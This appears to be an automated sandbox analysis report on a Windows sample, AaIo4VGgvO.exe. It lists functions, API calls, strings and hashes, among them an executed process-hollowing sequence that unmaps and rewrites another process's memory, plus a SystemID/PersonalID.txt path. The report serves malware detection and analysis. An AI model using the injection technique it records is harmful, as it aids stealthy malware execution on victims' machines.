Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AaIo4VGgvO.exePID: 7444, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E60110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E60156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E6016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E60255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E60270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E60283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E6029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E60304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E6032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E60399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E603BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E603E1
ResumeThread.KERNELBASE(00000000), ref: 05E603ED
ExitProcess.KERNEL32(00000000), ref: 05E60412

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: fbe5b15576a44b40ca9ff401fb51389d646462656ed7c9fea1bc8889cfc952b0
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 50B1C874A00208AFDB44CF98C895FAEBBB5FF88354F248158E549AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E60420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E60533

Strings

saodkfnosa9uin, xrefs: 05E604DA
d, xrefs: 05E60584
mfoaskdfnoa, xrefs: 05E60520, 05E60523
0, xrefs: 05E60492

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 7d805dfe0b67689de9aa708e67f3804d31142dee2e84e15c87b73007fb13c973
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: DA511870D48388DAEB11CBE8C849BEDBFB2AF11748F144058D5847F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05E605B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E605EC

Strings

o, xrefs: 05E60600
apfHQ, xrefs: 05E605E2, 05E605E5

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 26f4c2905fc2f6a0e8e609be3ae3e2e1f7634f0a7eaddb7dc2552bca107ed0a8
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0D012170C0425CEEDF10DB98C51C3AEBFB5AF41348F1480D9C4492B241D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0451F7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0451F7EE
Module32First.KERNEL32(00000000,00000224), ref: 0451F80E

Memory Dump Source

Source File: 00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0451F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_451f000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 65d7c27dc468da3f3f1dd03d6b41135fe6ed685088a07c923e118fa6972075b3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 51F062322007117FF7203BF5B88DAAA76E8BF89725F100629E642910D0DAB0F8455661

Uniqueness

Uniqueness Score: -1.00%

Function 0451F485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0451F4D6

Memory Dump Source

Source File: 00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0451F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_451f000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ab36ea2e6e5d51a3003dfbb9a38bc87f083b98d90a151add7758a6cb66409053
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 70113C79A00208EFDB01DF98C985E99BBF5BF08350F058094F9489B361D771EA90EF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E86437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E8644E

Part of subcall function 05E89636: __calloc_impl.LIBCMT ref: 05E89645

__calloc_crt.LIBCMT ref: 05E86472
_free.LIBCMT ref: 05E86480
__calloc_crt.LIBCMT ref: 05E8648E
_free.LIBCMT ref: 05E8649E
_free.LIBCMT ref: 05E864A4
__copytlocinfo_nolock.LIBCMT ref: 05E864B3
__setmbcp_nolock.LIBCMT ref: 05E864D4
_free.LIBCMT ref: 05E864E2
___removelocaleref.LIBCMT ref: 05E864E9
___freetlocinfo.LIBCMT ref: 05E864F0
_free.LIBCMT ref: 05E864F6

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 0c688e20e8b4b6fcf3c62009b1a88d19b6250c1dc9e0f2041106c5389dee8d4c
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 14210E31208200AEFB227F64DC09E7FBBE5FF51664B10A429E4CE695A0EA228500CA90

Uniqueness

Uniqueness Score: -1.00%

Function 05E83F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E83F51

Part of subcall function 05E85BA8: __getptd_noexit.LIBCMT ref: 05E85BA8

__gmtime64_s.LIBCMT ref: 05E83FEA
__gmtime64_s.LIBCMT ref: 05E84020
__gmtime64_s.LIBCMT ref: 05E8403D
__allrem.LIBCMT ref: 05E84093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E840AF
__allrem.LIBCMT ref: 05E840C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E840E4
__allrem.LIBCMT ref: 05E840FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E84119
__invoke_watson.LIBCMT ref: 05E8418A

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 1a1062cf2dd501a88a304c00ccb187f949e7fc7887be17b83743fbd3de0a7b78
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6071D571B00717ABEB24BE69CC44BBAB3A9FF14628F145529E49CD66C0E774E90087D0

Uniqueness

Uniqueness Score: -1.00%

Function 05E8650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E86547
__calloc_crt.LIBCMT ref: 05E86598
__lock.LIBCMT ref: 05E865AE
__copytlocinfo_nolock.LIBCMT ref: 05E865BF
_wcscmp.LIBCMT ref: 05E865F9
__lock.LIBCMT ref: 05E86610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E86622
___removelocaleref.LIBCMT ref: 05E86628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E86647

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 02bf1794e3e5a2b3333a6da3e742ab67674aa5af2b582670ff7912d375772e7b
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 5E413432A04305AFEB00BFA4DD88BBE3BE5FF04318F10642EE99C96191DB718644EB11

Uniqueness

Uniqueness Score: -1.00%

Function 05E884AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E884B1
_free.LIBCMT ref: 05E884E2
_free.LIBCMT ref: 05E884F5
_free.LIBCMT ref: 05E88513
_free.LIBCMT ref: 05E88525
_free.LIBCMT ref: 05E88536
_free.LIBCMT ref: 05E88541
_free.LIBCMT ref: 05E88565
_free.LIBCMT ref: 05E88581
_free.LIBCMT ref: 05E88597
_free.LIBCMT ref: 05E885BF

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 3de20d8e56a61b3c565e24f03d654e3e5d5ec5452fdcc3671a854242d0fd8010
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 1831D631A08250DFDB15BF14FC8486A77A4FB14324344AA2AEDCD672A0CBB059CDDF90

Uniqueness

Uniqueness Score: -1.00%

Function 05EAFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EAFC1F

Part of subcall function 05E9169C: std::exception::_Copy_str.LIBCMT ref: 05E916B5

__CxxThrowException@8.LIBCMT ref: 05EAFC34
std::exception::exception.LIBCMT ref: 05EAFC4D
__CxxThrowException@8.LIBCMT ref: 05EAFC62
std::regex_error::regex_error.LIBCPMT ref: 05EAFC74

Part of subcall function 05EAF914: std::exception::exception.LIBCMT ref: 05EAF92E

__CxxThrowException@8.LIBCMT ref: 05EAFC82
std::exception::exception.LIBCMT ref: 05EAFC9B
__CxxThrowException@8.LIBCMT ref: 05EAFCB0

Strings

leM, xrefs: 05EAFCA8

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 92a1d239e5b90952a8e76ad02c1772c03136f4a62bedd35b8527e862aef68816
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 3811CE79D0020DBBCF08FFA5D459CDDBB7CAA04384F408566AD6497641EB74A348CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E6F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E6F01F

Part of subcall function 05E81602: __FF_MSGBANNER.LIBCMT ref: 05E81619
Part of subcall function 05E81602: __NMSG_WRITE.LIBCMT ref: 05E81620

_malloc.LIBCMT ref: 05E6F02B
_wprintf.LIBCMT ref: 05E6F03E
_free.LIBCMT ref: 05E6F044
_free.LIBCMT ref: 05E6F065
_malloc.LIBCMT ref: 05E6F06D
_sprintf.LIBCMT ref: 05E6F0C0
_wprintf.LIBCMT ref: 05E6F0D2
_wprintf.LIBCMT ref: 05E6F0DC
_free.LIBCMT ref: 05E6F0E5

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: f0917c97a3066961a2030f412c0be5b38807872efa7a31f5056d6e6a97daa7ac
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: AC1124B6A405507AD6A1B7B46C19EFF3ADCAF45242F0410A9FADCE1180DA185A0593B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E71960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E719C6
__CxxThrowException@8.LIBCMT ref: 05E719F1
__CxxThrowException@8.LIBCMT ref: 05E71A1A
__CxxThrowException@8.LIBCMT ref: 05E71A4B
_memset.LIBCMT ref: 05E71A6A
__CxxThrowException@8.LIBCMT ref: 05E71A90
_malloc.LIBCMT ref: 05E71AA0
_memset.LIBCMT ref: 05E71AAB
_sprintf.LIBCMT ref: 05E71ACE

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 1f1d80410fcfa72a791645af744a88f61375bfa5ccac8453fc3c34663496aa73
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 3A513B71E40209BBEB11EBA5DC8AFEFBBB8FB04744F101025F949B6190E7745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E6F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E6F284
__CxxThrowException@8.LIBCMT ref: 05E6F2AF
__CxxThrowException@8.LIBCMT ref: 05E6F2DE
__CxxThrowException@8.LIBCMT ref: 05E6F30F
_memset.LIBCMT ref: 05E6F32E
__CxxThrowException@8.LIBCMT ref: 05E6F354
_sprintf.LIBCMT ref: 05E6F373

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: c9232f61b86ace08fab8a29d9ca75595e3f51a36ef49a65cce7ebd8314bb3503
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 52515FB1E80209BAEF11DFA1DC46FFEBB79BB04784F101025F955B6180E775AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E6F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E6F4B7
__CxxThrowException@8.LIBCMT ref: 05E6F4E2
__CxxThrowException@8.LIBCMT ref: 05E6F504
__CxxThrowException@8.LIBCMT ref: 05E6F535
_memset.LIBCMT ref: 05E6F554
__CxxThrowException@8.LIBCMT ref: 05E6F57A
_sprintf.LIBCMT ref: 05E6F594

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: dd26d39bd34a9a16e3b6cd33764aa1dd0ce3ba86197470c966a25e5239400adc
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: BB517171E40209BADF15DFA1DC85FFEBBB8FB04784F101129F955B6180E67469058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05EA208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05EA20C6
__invoke_watson.LIBCMT ref: 05EA2120
_strlen.LIBCMT ref: 05EA20D4

Part of subcall function 05E85BA8: __getptd_noexit.LIBCMT ref: 05E85BA8

_strnlen.LIBCMT ref: 05EA215F
__lock.LIBCMT ref: 05EA2170
__getenv_helper_nolock.LIBCMT ref: 05EA217B

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 3ac1ac36cc34af1f5670915b221a526c5b41c0cb2385711d9689ecd68d1f8857
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 88310A37B043116BEB217F749C48B7E2795AF15B28F156415EA8DFF280DB74E90082A1

Uniqueness

Uniqueness Score: -1.00%

Function 05E72670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E726DB
_memset.LIBCMT ref: 05E72A30
_memset.LIBCMT ref: 05E72AC0

Strings

D, xrefs: 05E72AC8

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 8f18e94605a79684a3f642ca65d714e02c547c7acbcb3b8d4dedb91fb068b1d7
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 08E18C75D0021DABDF24DBA0CD89FEEB7B9BF04304F0450AAE649A6190EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E6D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E6D8EA

Strings

, xrefs: 05E6DADB
(, xrefs: 05E6DAE9
$, xrefs: 05E6DAE2

Memory Dump Source

Source File: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e60000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 8999042753ae18d29183363f41bf7f0e4c18dec0065dd47e614c50dae200c082
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 4891DF70E40218AEEF20DFA0CD49BEEBBB5BF05344F545068D089B72C0DBB21A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E7A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E7A858
